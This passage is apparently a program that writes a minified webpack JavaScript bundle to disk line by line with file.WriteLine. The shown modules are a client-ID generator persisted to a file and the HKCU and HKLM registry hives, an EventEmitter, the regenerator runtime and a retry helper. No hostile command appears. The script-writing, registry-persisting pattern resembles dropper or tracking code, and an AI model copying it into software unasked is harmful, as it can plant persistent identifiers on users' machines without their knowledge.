file.WriteLine(" res = _this.stores[name].get(key);");
file.WriteLine(" if (res) log.debug(\"got \" + key + \" from \"
+ name + \": \" + res, {");
file.WriteLine(" key: key,");
file.WriteLine(" store: name,");
file.WriteLine(" value: res");
file.WriteLine(" }, \"get\");");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" if (!res) {");
file.WriteLine(" res = this.generate();");
file.WriteLine(" log.debug(\"generated \" + key + \": \" + res, {");
file.WriteLine(" key: key,");
file.WriteLine(" value: res");
file.WriteLine(" }, \"generate\");");
file.WriteLine(" }");
file.WriteLine(" return res;");
file.WriteLine(" },");
file.WriteLine(" set: function(key, value, stores) {");
file.WriteLine(" var _this2 = this;");
file.WriteLine(" stores.forEach(function(name) {");
file.WriteLine(" _this2.stores[name].set(key, value);");
file.WriteLine(" });");
file.WriteLine(" },");
file.WriteLine(" init: function() {");
file.WriteLine(" var key = arguments.length > 0 && arguments[0] !==
undefined ? arguments[0] : \"clientId\", value = arguments[1], stores =
arguments.length > 2 && arguments[2] !== undefined ? arguments[2] :
[ \"File\", \"HKCU\", \"HKLM\" ];");
file.WriteLine(" if (value) {");
file.WriteLine(" log.debug(\"got \" + key + \" from init(): \" +
value, {");
file.WriteLine(" key: key,");
file.WriteLine(" value: value");
file.WriteLine(" }, \"init\");");
file.WriteLine(" this[key] = value;");
file.WriteLine(" } else if (this[key]) return; else this[key] =
this.get(key, stores);");
file.WriteLine(" this.set(key, this[key], stores);");
file.WriteLine(" return this[key];");
file.WriteLine(" },");
file.WriteLine(" generate: function() {");
file.WriteLine(" var d = new Date().getTime();");
file.WriteLine(" return \"xxxxxxxxx.xxxxxxxxxx\".replace(/[xy]/g,
function(c) {");
file.WriteLine(" var r = (d + 10 * Math.random()) % 10 | 0;");
file.WriteLine(" return (\"x\" === c ? r : 7 & r | 8).toString();");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, , , , , , , , , , , function(module, exports) {");
file.WriteLine(" function EventEmitter() {");
file.WriteLine(" this._events = this._events || {};");
file.WriteLine(" this._maxListeners = this._maxListeners || undefined;");
file.WriteLine(" }");
file.WriteLine(" function isFunction(arg) {");
file.WriteLine(" return \"function\" == typeof arg;");
file.WriteLine(" }");
file.WriteLine(" function isNumber(arg) {");
file.WriteLine(" return \"number\" == typeof arg;");
file.WriteLine(" }");
file.WriteLine(" function isObject(arg) {");
file.WriteLine(" return \"object\" == typeof arg && null !== arg;");
file.WriteLine(" }");
file.WriteLine(" function isUndefined(arg) {");
file.WriteLine(" return void 0 === arg;");
file.WriteLine(" }");
file.WriteLine(" module.exports = EventEmitter;");
file.WriteLine(" EventEmitter.EventEmitter = EventEmitter;");
file.WriteLine(" EventEmitter.prototype._events = undefined;");
file.WriteLine(" EventEmitter.prototype._maxListeners = undefined;");
file.WriteLine(" EventEmitter.defaultMaxListeners = 10;");
file.WriteLine(" EventEmitter.prototype.setMaxListeners = function(n) {");
file.WriteLine(" if (!isNumber(n) || n < 0 || isNaN(n)) throw TypeError(\"n
must be a positive number\");");
file.WriteLine(" this._maxListeners = n;");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" EventEmitter.prototype.emit = function(type) {");
file.WriteLine(" var er, handler, len, args, i, listeners;");
file.WriteLine(" if (!this._events) this._events = {};");
file.WriteLine(" if (\"error\" === type) if (!this._events.error ||
isObject(this._events.error) && !this._events.error.length) {");
file.WriteLine(" er = arguments[1];");
file.WriteLine(" if (er instanceof Error) throw er; else {");
file.WriteLine(" var err = new Error('Uncaught,
unspecified \"error\" event. (' + er + \")\");");
file.WriteLine(" err.context = er;");
file.WriteLine(" throw err;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" handler = this._events[type];");
file.WriteLine(" if (isUndefined(handler)) return !1;");
file.WriteLine(" if (isFunction(handler)) switch (arguments.length) {");
file.WriteLine(" case 1:");
file.WriteLine(" handler.call(this);");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 2:");
file.WriteLine(" handler.call(this, arguments[1]);");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" handler.call(this, arguments[1], arguments[2]);");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" default:");
file.WriteLine(" args = Array.prototype.slice.call(arguments, 1);");
file.WriteLine(" handler.apply(this, args);");
file.WriteLine(" } else if (isObject(handler)) {");
file.WriteLine(" args = Array.prototype.slice.call(arguments, 1);");
file.WriteLine(" listeners = handler.slice();");
file.WriteLine(" len = listeners.length;");
file.WriteLine(" for (i = 0; i < len; i++) listeners[i].apply(this,
args);");
file.WriteLine(" }");
file.WriteLine(" return !0;");
file.WriteLine(" };");
file.WriteLine(" EventEmitter.prototype.addListener = function(type, listener)
{");
file.WriteLine(" var m;");
file.WriteLine(" if (!isFunction(listener)) throw TypeError(\"listener must
be a function\");");
file.WriteLine(" if (!this._events) this._events = {};");
file.WriteLine(" if (this._events.newListener) this.emit(\"newListener\",
type, isFunction(listener.listener) ? listener.listener : listener);");
file.WriteLine(" if (!this._events[type]) this._events[type] = listener;
else if (isObject(this._events[type])) this._events[type].push(listener); else
this._events[type] = [ this._events[type], listener ];");
file.WriteLine(" if (isObject(this._events[type]) && !
this._events[type].warned) {");
file.WriteLine(" if (!isUndefined(this._maxListeners)) m =
this._maxListeners; else m = EventEmitter.defaultMaxListeners;");
file.WriteLine(" if (m && m > 0 && this._events[type].length > m) {");
file.WriteLine(" this._events[type].warned = !0;");
file.WriteLine(" console.error(\"(node) warning: possible
EventEmitter memory leak detected. %d listeners added. Use
emitter.setMaxListeners() to increase limit.\", this._events[type].length);");
file.WriteLine(" if (\"function\" == typeof console.trace)
console.trace();");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" EventEmitter.prototype.on =
EventEmitter.prototype.addListener;");
file.WriteLine(" EventEmitter.prototype.once = function(type, listener) {");
file.WriteLine(" function g() {");
file.WriteLine(" this.removeListener(type, g);");
file.WriteLine(" if (!fired) {");
file.WriteLine(" fired = !0;");
file.WriteLine(" listener.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" if (!isFunction(listener)) throw TypeError(\"listener must
be a function\");");
file.WriteLine(" var fired = !1;");
file.WriteLine(" g.listener = listener;");
file.WriteLine(" this.on(type, g);");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" EventEmitter.prototype.removeListener = function(type,
listener) {");
file.WriteLine(" var list, position, length, i;");
file.WriteLine(" if (!isFunction(listener)) throw TypeError(\"listener must
be a function\");");
file.WriteLine(" if (!this._events || !this._events[type]) return this;");
file.WriteLine(" list = this._events[type];");
file.WriteLine(" length = list.length;");
file.WriteLine(" position = -1;");
file.WriteLine(" if (list === listener || isFunction(list.listener) &&
list.listener === listener) {");
file.WriteLine(" delete this._events[type];");
file.WriteLine(" if (this._events.removeListener)
this.emit(\"removeListener\", type, listener);");
file.WriteLine(" } else if (isObject(list)) {");
file.WriteLine(" for (i = length; i-- > 0; ) if (list[i] === listener ||
list[i].listener && list[i].listener === listener) {");
file.WriteLine(" position = i;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" if (position < 0) return this;");
file.WriteLine(" if (1 === list.length) {");
file.WriteLine(" list.length = 0;");
file.WriteLine(" delete this._events[type];");
file.WriteLine(" } else list.splice(position, 1);");
file.WriteLine(" if (this._events.removeListener)
this.emit(\"removeListener\", type, listener);");
file.WriteLine(" }");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" EventEmitter.prototype.removeAllListeners = function(type) {");
file.WriteLine(" var key, listeners;");
file.WriteLine(" if (!this._events) return this;");
file.WriteLine(" if (!this._events.removeListener) {");
file.WriteLine(" if (0 === arguments.length) this._events = {}; else if
(this._events[type]) delete this._events[type];");
file.WriteLine(" return this;");
file.WriteLine(" }");
file.WriteLine(" if (0 === arguments.length) {");
file.WriteLine(" for (key in this._events) if (\"removeListener\" !==
key) this.removeAllListeners(key);");
file.WriteLine(" this.removeAllListeners(\"removeListener\");");
file.WriteLine(" this._events = {};");
file.WriteLine(" return this;");
file.WriteLine(" }");
file.WriteLine(" listeners = this._events[type];");
file.WriteLine(" if (isFunction(listeners)) this.removeListener(type,
listeners); else if (listeners) for (;listeners.length; ) this.removeListener(type,
listeners[listeners.length - 1]);");
file.WriteLine(" delete this._events[type];");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" EventEmitter.prototype.listeners = function(type) {");
file.WriteLine(" var ret;");
file.WriteLine(" if (!this._events || !this._events[type]) ret = []; else if
(isFunction(this._events[type])) ret = [ this._events[type] ]; else ret =
this._events[type].slice();");
file.WriteLine(" return ret;");
file.WriteLine(" };");
file.WriteLine(" EventEmitter.prototype.listenerCount = function(type) {");
file.WriteLine(" if (this._events) {");
file.WriteLine(" var evlistener = this._events[type];");
file.WriteLine(" if (isFunction(evlistener)) return 1; else if
(evlistener) return evlistener.length;");
file.WriteLine(" }");
file.WriteLine(" return 0;");
file.WriteLine(" };");
file.WriteLine(" EventEmitter.listenerCount = function(emitter, type) {");
file.WriteLine(" return emitter.listenerCount(type);");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" function getNative(object, key) {");
file.WriteLine(" var value = null == object ? undefined : object[key];");
file.WriteLine(" return isNative(value) ? value : undefined;");
file.WriteLine(" }");
file.WriteLine(" var isNative = __webpack_require__(450);");
file.WriteLine(" module.exports = getNative;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" (function(global) {");
file.WriteLine(" !function(global) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function wrap(innerFn, outerFn, self, tryLocsList) {");
file.WriteLine(" var protoGenerator = outerFn && outerFn.prototype
instanceof Generator ? outerFn : Generator, generator =
Object.create(protoGenerator.prototype), context = new Context(tryLocsList ||
[]);");
file.WriteLine(" generator._invoke = makeInvokeMethod(innerFn, self,
context);");
file.WriteLine(" return generator;");
file.WriteLine(" }");
file.WriteLine(" function tryCatch(fn, obj, arg) {");
file.WriteLine(" try {");
file.WriteLine(" return {");
file.WriteLine(" type: \"normal\",");
file.WriteLine(" arg: fn.call(obj, arg)");
file.WriteLine(" };");
file.WriteLine(" } catch (err) {");
file.WriteLine(" return {");
file.WriteLine(" type: \"throw\",");
file.WriteLine(" arg: err");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" function Generator() {}");
file.WriteLine(" function GeneratorFunction() {}");
file.WriteLine(" function GeneratorFunctionPrototype() {}");
file.WriteLine(" function defineIteratorMethods(prototype) {");
file.WriteLine("
[ \"next\", \"throw\", \"return\" ].forEach(function(method) {");
file.WriteLine(" prototype[method] = function(arg) {");
file.WriteLine(" return this._invoke(method, arg);");
file.WriteLine(" };");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" function AsyncIterator(generator) {");
file.WriteLine(" function invoke(method, arg, resolve, reject) {");
file.WriteLine(" var record = tryCatch(generator[method],
generator, arg);");
file.WriteLine(" if (\"throw\" === record.type)
reject(record.arg); else {");
file.WriteLine(" var result = record.arg, value =
result.value;");
file.WriteLine(" if (value && \"object\" == typeof value &&
hasOwn.call(value, \"__await\")) return
Promise.resolve(value.__await).then(function(value) {");
file.WriteLine(" invoke(\"next\", value, resolve,
reject);");
file.WriteLine(" }, function(err) {");
file.WriteLine(" invoke(\"throw\", err, resolve,
reject);");
file.WriteLine(" }); else return
Promise.resolve(value).then(function(unwrapped) {");
file.WriteLine(" result.value = unwrapped;");
file.WriteLine(" resolve(result);");
file.WriteLine(" }, reject);");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" function enqueue(method, arg) {");
file.WriteLine(" function callInvokeWithMethodAndArg() {");
file.WriteLine(" return new Promise(function(resolve,
reject) {");
file.WriteLine(" invoke(method, arg, resolve,
reject);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" return previousPromise = previousPromise ?
previousPromise.then(callInvokeWithMethodAndArg, callInvokeWithMethodAndArg) :
callInvokeWithMethodAndArg();");
file.WriteLine(" }");
file.WriteLine(" if (\"object\" == typeof global.process &&
global.process.domain) invoke = global.process.domain.bind(invoke);");
file.WriteLine(" var previousPromise;");
file.WriteLine(" this._invoke = enqueue;");
file.WriteLine(" }");
file.WriteLine(" function makeInvokeMethod(innerFn, self, context) {");
file.WriteLine(" var state = GenStateSuspendedStart;");
file.WriteLine(" return function(method, arg) {");
file.WriteLine(" if (state === GenStateExecuting) throw new
Error(\"Generator is already running\");");
file.WriteLine(" if (state === GenStateCompleted) {");
file.WriteLine(" if (\"throw\" === method) throw arg;");
file.WriteLine(" return doneResult();");
file.WriteLine(" }");
file.WriteLine(" context.method = method;");
file.WriteLine(" context.arg = arg;");
file.WriteLine(" for (;;) {");
file.WriteLine(" var delegate = context.delegate;");
file.WriteLine(" if (delegate) {");
file.WriteLine(" var delegateResult =
maybeInvokeDelegate(delegate, context);");
file.WriteLine(" if (delegateResult) {");
file.WriteLine(" if (delegateResult ===
ContinueSentinel) continue;");
file.WriteLine(" return delegateResult;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" if (\"next\" === context.method)
context.sent = context._sent = context.arg; else if (\"throw\" === context.method)
{");
file.WriteLine(" if (state === GenStateSuspendedStart)
{");
file.WriteLine(" state = GenStateCompleted;");
file.WriteLine(" throw context.arg;");
file.WriteLine(" }");
file.WriteLine("
context.dispatchException(context.arg);");
file.WriteLine(" } else if (\"return\" === context.method)
context.abrupt(\"return\", context.arg);");
file.WriteLine(" state = GenStateExecuting;");
file.WriteLine(" var record = tryCatch(innerFn, self,
context);");
file.WriteLine(" if (\"normal\" === record.type) {");
file.WriteLine(" state = context.done ?
GenStateCompleted : GenStateSuspendedYield;");
file.WriteLine(" if (record.arg === ContinueSentinel)
continue;");
file.WriteLine(" return {");
file.WriteLine(" value: record.arg,");
file.WriteLine(" done: context.done");
file.WriteLine(" };");
file.WriteLine(" } else if (\"throw\" === record.type) {");
file.WriteLine(" state = GenStateCompleted;");
file.WriteLine(" context.method = \"throw\";");
file.WriteLine(" context.arg = record.arg;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function maybeInvokeDelegate(delegate, context) {");
file.WriteLine(" var method = delegate.iterator[context.method];");
file.WriteLine(" if (method === undefined) {");
file.WriteLine(" context.delegate = null;");
file.WriteLine(" if (\"throw\" === context.method) {");
file.WriteLine(" if (delegate.iterator[\"return\"]) {");
file.WriteLine(" context.method = \"return\";");
file.WriteLine(" context.arg = undefined;");
file.WriteLine(" maybeInvokeDelegate(delegate,
context);");
file.WriteLine(" if (\"throw\" === context.method)
return ContinueSentinel;");
file.WriteLine(" }");
file.WriteLine(" context.method = \"throw\";");
file.WriteLine(" context.arg = new TypeError(\"The iterator
does not provide a 'throw' method\");");
file.WriteLine(" }");
file.WriteLine(" return ContinueSentinel;");
file.WriteLine(" }");
file.WriteLine(" var record = tryCatch(method, delegate.iterator,
context.arg);");
file.WriteLine(" if (\"throw\" === record.type) {");
file.WriteLine(" context.method = \"throw\";");
file.WriteLine(" context.arg = record.arg;");
file.WriteLine(" context.delegate = null;");
file.WriteLine(" return ContinueSentinel;");
file.WriteLine(" }");
file.WriteLine(" var info = record.arg;");
file.WriteLine(" if (!info) {");
file.WriteLine(" context.method = \"throw\";");
file.WriteLine(" context.arg = new TypeError(\"iterator result
is not an object\");");
file.WriteLine(" context.delegate = null;");
file.WriteLine(" return ContinueSentinel;");
file.WriteLine(" }");
file.WriteLine(" if (info.done) {");
file.WriteLine(" context[delegate.resultName] = info.value;");
file.WriteLine(" context.next = delegate.nextLoc;");
file.WriteLine(" if (\"return\" !== context.method) {");
file.WriteLine(" context.method = \"next\";");
file.WriteLine(" context.arg = undefined;");
file.WriteLine(" }");
file.WriteLine(" } else return info;");
file.WriteLine(" context.delegate = null;");
file.WriteLine(" return ContinueSentinel;");
file.WriteLine(" }");
file.WriteLine(" function pushTryEntry(locs) {");
file.WriteLine(" var entry = {");
file.WriteLine(" tryLoc: locs[0]");
file.WriteLine(" };");
file.WriteLine(" if (1 in locs) entry.catchLoc = locs[1];");
file.WriteLine(" if (2 in locs) {");
file.WriteLine(" entry.finallyLoc = locs[2];");
file.WriteLine(" entry.afterLoc = locs[3];");
file.WriteLine(" }");
file.WriteLine(" this.tryEntries.push(entry);");
file.WriteLine(" }");
file.WriteLine(" function resetTryEntry(entry) {");
file.WriteLine(" var record = entry.completion || {};");
file.WriteLine(" record.type = \"normal\";");
file.WriteLine(" delete record.arg;");
file.WriteLine(" entry.completion = record;");
file.WriteLine(" }");
file.WriteLine(" function Context(tryLocsList) {");
file.WriteLine(" this.tryEntries = [ {");
file.WriteLine(" tryLoc: \"root\"");
file.WriteLine(" } ];");
file.WriteLine(" tryLocsList.forEach(pushTryEntry, this);");
file.WriteLine(" this.reset(!0);");
file.WriteLine(" }");
file.WriteLine(" function values(iterable) {");
file.WriteLine(" if (iterable) {");
file.WriteLine(" var iteratorMethod =
iterable[iteratorSymbol];");
file.WriteLine(" if (iteratorMethod) return
iteratorMethod.call(iterable);");
file.WriteLine(" if (\"function\" == typeof iterable.next)
return iterable;");
file.WriteLine(" if (!isNaN(iterable.length)) {");
file.WriteLine(" var i = -1, next = function next() {");
file.WriteLine(" for (;++i < iterable.length; ) if
(hasOwn.call(iterable, i)) {");
file.WriteLine(" next.value = iterable[i];");
file.WriteLine(" next.done = !1;");
file.WriteLine(" return next;");
file.WriteLine(" }");
file.WriteLine(" next.value = undefined;");
file.WriteLine(" next.done = !0;");
file.WriteLine(" return next;");
file.WriteLine(" };");
file.WriteLine(" return next.next = next;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" return {");
file.WriteLine(" next: doneResult");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function doneResult() {");
file.WriteLine(" return {");
file.WriteLine(" value: undefined,");
file.WriteLine(" done: !0");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" var undefined, Op = Object.prototype, hasOwn =
Op.hasOwnProperty, $Symbol = \"function\" == typeof Symbol ? Symbol : {},
iteratorSymbol = $Symbol.iterator || \"@@iterator\", asyncIteratorSymbol =
$Symbol.asyncIterator || \"@@asyncIterator\", toStringTagSymbol =
$Symbol.toStringTag || \"@@toStringTag\", inModule = \"object\" == typeof module,
runtime = global.regeneratorRuntime;");
file.WriteLine(" if (!runtime) {");
file.WriteLine(" runtime = global.regeneratorRuntime = inModule ?
module.exports : {};");
file.WriteLine(" runtime.wrap = wrap;");
file.WriteLine(" var GenStateSuspendedStart = \"suspendedStart\",
GenStateSuspendedYield = \"suspendedYield\", GenStateExecuting = \"executing\",
GenStateCompleted = \"completed\", ContinueSentinel = {}, IteratorPrototype =
{};");
file.WriteLine(" IteratorPrototype[iteratorSymbol] = function() {");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" var getProto = Object.getPrototypeOf,
NativeIteratorPrototype = getProto && getProto(getProto(values([])));");
file.WriteLine(" if (NativeIteratorPrototype &&
NativeIteratorPrototype !== Op && hasOwn.call(NativeIteratorPrototype,
iteratorSymbol)) IteratorPrototype = NativeIteratorPrototype;");
file.WriteLine(" var Gp = GeneratorFunctionPrototype.prototype =
Generator.prototype = Object.create(IteratorPrototype);");
file.WriteLine(" GeneratorFunction.prototype = Gp.constructor =
GeneratorFunctionPrototype;");
file.WriteLine(" GeneratorFunctionPrototype.constructor =
GeneratorFunction;");
file.WriteLine(" GeneratorFunctionPrototype[toStringTagSymbol] =
GeneratorFunction.displayName = \"GeneratorFunction\";");
file.WriteLine(" runtime.isGeneratorFunction = function(genFun) {");
file.WriteLine(" var ctor = \"function\" == typeof genFun &&
genFun.constructor;");
file.WriteLine(" return ctor ? ctor === GeneratorFunction
|| \"GeneratorFunction\" === (ctor.displayName || ctor.name) : !1;");
file.WriteLine(" };");
file.WriteLine(" runtime.mark = function(genFun) {");
file.WriteLine(" if (Object.setPrototypeOf)
Object.setPrototypeOf(genFun, GeneratorFunctionPrototype); else {");
file.WriteLine(" genFun.__proto__ =
GeneratorFunctionPrototype;");
file.WriteLine(" if (!(toStringTagSymbol in genFun))
genFun[toStringTagSymbol] = \"GeneratorFunction\";");
file.WriteLine(" }");
file.WriteLine(" genFun.prototype = Object.create(Gp);");
file.WriteLine(" return genFun;");
file.WriteLine(" };");
file.WriteLine(" runtime.awrap = function(arg) {");
file.WriteLine(" return {");
file.WriteLine(" __await: arg");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" defineIteratorMethods(AsyncIterator.prototype);");
file.WriteLine(" AsyncIterator.prototype[asyncIteratorSymbol] =
function() {");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" runtime.AsyncIterator = AsyncIterator;");
file.WriteLine(" runtime.async = function(innerFn, outerFn, self,
tryLocsList) {");
file.WriteLine(" var iter = new AsyncIterator(wrap(innerFn,
outerFn, self, tryLocsList));");
file.WriteLine(" return runtime.isGeneratorFunction(outerFn) ?
iter : iter.next().then(function(result) {");
file.WriteLine(" return result.done ? result.value :
iter.next();");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" defineIteratorMethods(Gp);");
file.WriteLine(" Gp[toStringTagSymbol] = \"Generator\";");
file.WriteLine(" Gp[iteratorSymbol] = function() {");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Gp.toString = function() {");
file.WriteLine(" return \"[object Generator]\";");
file.WriteLine(" };");
file.WriteLine(" runtime.keys = function(object) {");
file.WriteLine(" var keys = [];");
file.WriteLine(" for (var key in object) keys.push(key);");
file.WriteLine(" keys.reverse();");
file.WriteLine(" return function next() {");
file.WriteLine(" for (;keys.length; ) {");
file.WriteLine(" var key = keys.pop();");
file.WriteLine(" if (key in object) {");
file.WriteLine(" next.value = key;");
file.WriteLine(" next.done = !1;");
file.WriteLine(" return next;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" next.done = !0;");
file.WriteLine(" return next;");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" runtime.values = values;");
file.WriteLine(" Context.prototype = {");
file.WriteLine(" constructor: Context,");
file.WriteLine(" reset: function(skipTempReset) {");
file.WriteLine(" this.prev = 0;");
file.WriteLine(" this.next = 0;");
file.WriteLine(" this.sent = this._sent = undefined;");
file.WriteLine(" this.done = !1;");
file.WriteLine(" this.delegate = null;");
file.WriteLine(" this.method = \"next\";");
file.WriteLine(" this.arg = undefined;");
file.WriteLine(" this.tryEntries.forEach(resetTryEntry);");
file.WriteLine(" if (!skipTempReset) for (var name in this)
if (\"t\" === name.charAt(0) && hasOwn.call(this, name) && !isNaN(+name.slice(1)))
this[name] = undefined;");
file.WriteLine(" },");
file.WriteLine(" stop: function() {");
file.WriteLine(" this.done = !0;");
file.WriteLine(" var rootEntry = this.tryEntries[0],
rootRecord = rootEntry.completion;");
file.WriteLine(" if (\"throw\" === rootRecord.type) throw
rootRecord.arg;");
file.WriteLine(" return this.rval;");
file.WriteLine(" },");
file.WriteLine(" dispatchException: function(exception) {");
file.WriteLine(" function handle(loc, caught) {");
file.WriteLine(" record.type = \"throw\";");
file.WriteLine(" record.arg = exception;");
file.WriteLine(" context.next = loc;");
file.WriteLine(" if (caught) {");
file.WriteLine(" context.method = \"next\";");
file.WriteLine(" context.arg = undefined;");
file.WriteLine(" }");
file.WriteLine(" return !!caught;");
file.WriteLine(" }");
file.WriteLine(" if (this.done) throw exception;");
file.WriteLine(" for (var context = this, i =
this.tryEntries.length - 1; i >= 0; --i) {");
file.WriteLine(" var entry = this.tryEntries[i], record
= entry.completion;");
file.WriteLine(" if (\"root\" === entry.tryLoc) return
handle(\"end\");");
file.WriteLine(" if (entry.tryLoc <= this.prev) {");
file.WriteLine(" var hasCatch =
hasOwn.call(entry, \"catchLoc\"), hasFinally =
hasOwn.call(entry, \"finallyLoc\");");
file.WriteLine(" if (hasCatch && hasFinally) {");
file.WriteLine(" if (this.prev < entry.catchLoc)
return handle(entry.catchLoc, !0); else if (this.prev < entry.finallyLoc) return
handle(entry.finallyLoc);");
file.WriteLine(" } else if (hasCatch) {");
file.WriteLine(" if (this.prev < entry.catchLoc)
return handle(entry.catchLoc, !0);");
file.WriteLine(" } else if (hasFinally) {");
file.WriteLine(" if (this.prev <
entry.finallyLoc) return handle(entry.finallyLoc);");
file.WriteLine(" } else throw new Error(\"try
statement without catch or finally\");");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" abrupt: function(type, arg) {");
file.WriteLine(" for (var i = this.tryEntries.length - 1; i
>= 0; --i) {");
file.WriteLine(" var entry = this.tryEntries[i];");
file.WriteLine(" if (entry.tryLoc <= this.prev &&
hasOwn.call(entry, \"finallyLoc\") && this.prev < entry.finallyLoc) {");
file.WriteLine(" var finallyEntry = entry;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" if (finallyEntry && (\"break\" === type
|| \"continue\" === type) && finallyEntry.tryLoc <= arg && arg <=
finallyEntry.finallyLoc) finallyEntry = null;");
file.WriteLine(" var record = finallyEntry ?
finallyEntry.completion : {};");
file.WriteLine(" record.type = type;");
file.WriteLine(" record.arg = arg;");
file.WriteLine(" if (finallyEntry) {");
file.WriteLine(" this.method = \"next\";");
file.WriteLine(" this.next = finallyEntry.finallyLoc;");
file.WriteLine(" return ContinueSentinel;");
file.WriteLine(" }");
file.WriteLine(" return this.complete(record);");
file.WriteLine(" },");
file.WriteLine(" complete: function(record, afterLoc) {");
file.WriteLine(" if (\"throw\" === record.type) throw
record.arg;");
file.WriteLine(" if (\"break\" === record.type
|| \"continue\" === record.type) this.next = record.arg; else if (\"return\" ===
record.type) {");
file.WriteLine(" this.rval = this.arg = record.arg;");
file.WriteLine(" this.method = \"return\";");
file.WriteLine(" this.next = \"end\";");
file.WriteLine(" } else if (\"normal\" === record.type &&
afterLoc) this.next = afterLoc;");
file.WriteLine(" return ContinueSentinel;");
file.WriteLine(" },");
file.WriteLine(" finish: function(finallyLoc) {");
file.WriteLine(" for (var i = this.tryEntries.length - 1; i
>= 0; --i) {");
file.WriteLine(" var entry = this.tryEntries[i];");
file.WriteLine(" if (entry.finallyLoc === finallyLoc)
{");
file.WriteLine(" this.complete(entry.completion,
entry.afterLoc);");
file.WriteLine(" resetTryEntry(entry);");
file.WriteLine(" return ContinueSentinel;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" \"catch\": function(tryLoc) {");
file.WriteLine(" for (var i = this.tryEntries.length - 1; i
>= 0; --i) {");
file.WriteLine(" var entry = this.tryEntries[i];");
file.WriteLine(" if (entry.tryLoc === tryLoc) {");
file.WriteLine(" var record = entry.completion;");
file.WriteLine(" if (\"throw\" === record.type) {");
file.WriteLine(" var thrown = record.arg;");
file.WriteLine(" resetTryEntry(entry);");
file.WriteLine(" }");
file.WriteLine(" return thrown;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" throw new Error(\"illegal catch
attempt\");");
file.WriteLine(" },");
file.WriteLine(" delegateYield: function(iterable, resultName,
nextLoc) {");
file.WriteLine(" this.delegate = {");
file.WriteLine(" iterator: values(iterable),");
file.WriteLine(" resultName: resultName,");
file.WriteLine(" nextLoc: nextLoc");
file.WriteLine(" };");
file.WriteLine(" if (\"next\" === this.method) this.arg =
undefined;");
file.WriteLine(" return ContinueSentinel;");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" } else if (inModule) module.exports = runtime;");
file.WriteLine(" }(\"object\" == typeof global ? global : \"object\" ==
typeof window ? window : \"object\" == typeof self ? self : this);");
file.WriteLine(" }).call(exports, __webpack_require__(48));");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" module.exports = function(module) {");
file.WriteLine(" if (!module.webpackPolyfill) {");
file.WriteLine(" module.deprecate = function() {};");
file.WriteLine(" module.paths = [];");
file.WriteLine(" if (!module.children) module.children = [];");
file.WriteLine(" try {");
file.WriteLine(" Object.defineProperty(module, \"loaded\", {");
file.WriteLine(" enumerable: !0,");
file.WriteLine(" configurable: !1,");
file.WriteLine(" get: function() {");
file.WriteLine(" return module.l;");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" Object.defineProperty(module, \"id\", {");
file.WriteLine(" enumerable: !0,");
file.WriteLine(" configurable: !1,");
file.WriteLine(" get: function() {");
file.WriteLine(" return module.i;");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" } catch (e) {");
file.WriteLine(" module.id = module.i;");
file.WriteLine(" }");
file.WriteLine(" module.webpackPolyfill = !0;");
file.WriteLine(" }");
file.WriteLine(" return module;");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function retry(handler) {");
file.WriteLine(" var tries = arguments.length > 1 && arguments[1] !==
undefined ? arguments[1] : 1, timeout = arguments.length > 2 && arguments[2] !==
undefined ? arguments[2] : 1e3;");
file.WriteLine(" return handler()[\"catch\"](function(err) {");
file.WriteLine(" if (tries > 1) return delay(timeout).then(function()
{");
file.WriteLine(" return retry(handler, tries - 1, timeout);");
file.WriteLine(" }); else throw err;");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = retry;");
file.WriteLine(" var delay = function(time) {");
